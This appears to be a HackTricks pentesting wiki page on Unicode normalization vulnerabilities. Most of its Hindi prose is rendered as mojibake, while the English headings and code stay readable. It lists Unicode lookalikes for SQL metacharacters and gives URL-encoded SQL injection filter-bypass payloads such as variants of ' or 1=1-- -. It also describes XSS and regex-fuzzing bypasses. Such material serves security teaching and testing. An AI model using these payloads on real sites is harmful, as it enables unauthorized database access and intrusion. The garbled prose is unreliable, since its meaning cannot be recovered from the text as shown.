hacktricks/pentesting-web/unicode-injection/unicode-normalization.md

14 KiB
Raw Blame History

Unicode Normalization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

рдпрд╣ рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ (рдЫрд╡рд┐рдпрд╛рдБ рд╡рд╣рд╛рдБ рд╕реЗ рд▓реА рдЧрдИ рд╣реИрдВ)ред

Understanding Unicode and Normalization

Unicode normalization рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдмрд╛рдЗрдирд░реА рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЛ рдПрдХ рд╣реА рдмрд╛рдЗрдирд░реА рдорд╛рди рдореЗрдВ рдорд╛рдирдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдФрд░ рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред Unicode рдорд╛рдирдХ рджреЛ рдкреНрд░рдХрд╛рд░ рдХреА рд╡рд░реНрдг рд╕рдордХрдХреНрд╖рддрд╛ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ:

  1. Canonical Equivalence: рд╡рд░реНрдгреЛрдВ рдХреЛ рдХреИрдиреЛрдирд┐рдХрд▓ рд░реВрдк рд╕реЗ рд╕рдордХрдХреНрд╖ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрджрд┐ рдЙрдирдХрд╛ рдкреНрд░рд┐рдВрдЯ рдпрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрдиреЗ рдкрд░ рдПрдХ рд╣реА рд░реВрдк рдФрд░ рдЕрд░реНрде рд╣реЛрддрд╛ рд╣реИред
  2. Compatibility Equivalence: рд╕рдордХрдХреНрд╖рддрд╛ рдХрд╛ рдПрдХ рдХрдордЬреЛрд░ рд░реВрдк рдЬрд╣рд╛рдБ рд╡рд░реНрдг рдПрдХ рд╣реА рдЕрдореВрд░реНрдд рд╡рд░реНрдг рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЕрд▓рдЧ-рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

рдЪрд╛рд░ Unicode normalization рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╣реИрдВ: NFC, NFD, NFKC, рдФрд░ NFKDред рдкреНрд░рддреНрдпреЗрдХ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреИрдиреЛрдирд┐рдХрд▓ рдФрд░ рд╕рдВрдЧрддрддрд╛ рдорд╛рдирдХреАрдХрд░рдг рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрд▓рдЧ-рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдХрд░рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЧрд╣рди рд╕рдордЭ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЗрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ Unicode.org рдкрд░ред

Key Points on Unicode Encoding

Unicode рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдпрд╛ рднрд╛рд╖рд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЗрдВрдЯрд░рдСрдкрд░реЗрдмрд┐рд▓рд┐рдЯреА рдореБрджреНрджреЛрдВ рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдХреЗ рд╕рдордпред рдпрд╣рд╛рдБ рдореБрдЦреНрдп рдмрд┐рдВрджреБ рд╣реИрдВ:

  • рдХреЛрдб рдкреЙрдЗрдВрдЯ рдФрд░ рд╡рд░реНрдг: Unicode рдореЗрдВ, рдкреНрд░рддреНрдпреЗрдХ рд╡рд░реНрдг рдпрд╛ рдкреНрд░рддреАрдХ рдХреЛ рдПрдХ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рди рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ "рдХреЛрдб рдкреЙрдЗрдВрдЯ" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
  • рдмрд╛рдЗрдЯреНрд╕ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡: рдХреЛрдб рдкреЙрдЗрдВрдЯ (рдпрд╛ рд╡рд░реНрдг) рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдмрд╛рдЗрдЯреНрд╕ рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, LATIN-1 рд╡рд░реНрдг (рдЕрдВрдЧреНрд░реЗрдЬреА рдмреЛрд▓рдиреЗ рд╡рд╛рд▓реЗ рджреЗрд╢реЛрдВ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп) рдХреЛ рдПрдХ рдмрд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬрд┐рди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рд╡рд░реНрдгреЛрдВ рдХрд╛ рдмрдбрд╝рд╛ рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
  • рдПрдиреНрдХреЛрдбрд┐рдВрдЧ: рдпрд╣ рд╢рдмреНрдж рд╡рд░реНрдгреЛрдВ рдХреЛ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред UTF-8 рдПрдХ рдкреНрд░рдЪрд▓рд┐рдд рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдорд╛рдирдХ рд╣реИ рдЬрд╣рд╛рдБ ASCII рд╡рд░реНрдгреЛрдВ рдХреЛ рдПрдХ рдмрд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрдиреНрдп рд╡рд░реНрдгреЛрдВ рдХреЗ рд▓рд┐рдП рдЪрд╛рд░ рдмрд╛рдЗрдЯреНрд╕ рддрдХред
  • рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ: рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЛ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдЧрд░реВрдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдмрд╛рдЗрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╡рд░реНрдгреЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
  • UTF рдХреЗ рд░реВрдк: UTF-8 рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдиреНрдп рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдорд╛рдирдХ рд╣реИрдВ рдЬреИрд╕реЗ UTF-16 (рдХрдо рд╕реЗ рдХрдо 2 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, 4 рддрдХ) рдФрд░ UTF-32 (рд╕рднреА рд╡рд░реНрдгреЛрдВ рдХреЗ рд▓рд┐рдП 4 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП)ред

рдЗрди рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рддрд╛рдХрд┐ Unicode рдХреА рдЬрдЯрд┐рд▓рддрд╛ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд╡рд┐рдзрд┐рдпреЛрдВ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╕рдВрднрд╛рд╡рд┐рдд рдореБрджреНрджреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдФрд░ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

Unicode рдХреЗ рджреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдПрдХ рд╣реА рд╡рд░реНрдг рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг:

unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")

рдПрдХ рд╕реВрдЪреА Unicode рд╕рдордХрдХреНрд╖ рд╡рд░реНрдгреЛрдВ рдХреА рдпрд╣рд╛рдБ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html рдФрд░ https://0xacb.com/normalization_table

рдЦреЛрдЬ

рдпрджрд┐ рдЖрдк рдПрдХ рд╡реЗрдм рдРрдк рдХреЗ рдЕрдВрджрд░ рдПрдХ рдРрд╕рд╛ рдорд╛рди рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╡рд╛рдкрд╕ рдЗрдХреЛ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк тАШKELVIN SIGNтАЩ (U+0212A) рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ "K" рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ (рдЖрдк рдЗрд╕реЗ %e2%84%aa рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ)ред рдпрджрд┐ "K" рд╡рд╛рдкрд╕ рдЗрдХреЛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреА Unicode рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИред

рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 рдХреЗ рдмрд╛рдж unicode Leonishan рд╣реИред

рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг

SQL Injection рдлрд╝рд┐рд▓реНрдЯрд░ рдмрд╛рдпрдкрд╛рд╕

рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде SQL рдХреНрд╡реЗрд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд░реНрдг ' рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрд╣ рд╡реЗрдм, рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реЗ рд╡рд░реНрдг ' рдХреЗ рд╕рднреА рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рд╣рдЯрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЙрд╕ рд╣рдЯрд╛рдиреЗ рдХреЗ рдмрд╛рдж рдФрд░ рдХреНрд╡реЗрд░реА рдмрдирд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ Unicode рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░рддрд╛ рд╣реИред

рдлрд┐рд░, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдЕрд▓рдЧ Unicode рд╡рд░реНрдг рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ ' (0x27) рдХреЗ рд╕рдордХрдХреНрд╖ рд╣реИ рдЬреИрд╕реЗ %ef%bc%87, рдЬрдм рдЗрдирдкреБрдЯ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╕рд┐рдВрдЧрд▓ рдХреЛрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдПрдХ SQLInjection рднреЗрджреНрдпрддрд╛ рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ:

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк Unicode рд╡рд░реНрдг

  • o -- %e1%b4%bc
  • r -- %e1%b4%bf
  • 1 -- %c2%b9
  • = -- %e2%81%bc
  • / -- %ef%bc%8f
  • --- %ef%b9%a3
  • #-- %ef%b9%9f
  • *-- %ef%b9%a1
  • ' -- %ef%bc%87
  • " -- %ef%bc%82
  • | -- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

sqlmap template

{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}

XSS (Cross Site Scripting)

рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдЪрд░рд┐рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЗрдм рдРрдк рдХреЛ рдзреЛрдЦрд╛ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ XSS рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд╣рд▓реЗ Unicode рдЪрд░рд┐рддреНрд░ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рднреЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: %e2%89%ae рдпрд╛ %u226e

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

Fuzzing Regexes

рдЬрдм рдмреИрдХрдПрдВрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ regex рдХреЗ рд╕рд╛рде рдЬрд╛рдВрдЪ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЗрдирдкреБрдЯ рдХреЛ regex рдХреЗ рд▓рд┐рдП normalize рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛ рд▓реЗрдХрд┐рди рдЬрд╣рд╛рдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд╡рд╣рд╛рдВ рдирд╣реАрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ Open Redirect рдпрд╛ SSRF рдореЗрдВ regex рднреЗрдЬреЗ рдЧрдП URL рдХреЛ normalize рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдлрд┐рд░ рдЗрд╕реЗ рдЬреИрд╕рд╛ рд╣реИ рд╡реИрд╕рд╛ рд╣реА рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЙрдкрдХрд░рдг recollapse **** рдмреИрдХрдПрдВрдб рдХреЛ fuzz рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдирдкреБрдЯ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рд░реВрдкреЛрдВ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП github рдФрд░ рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}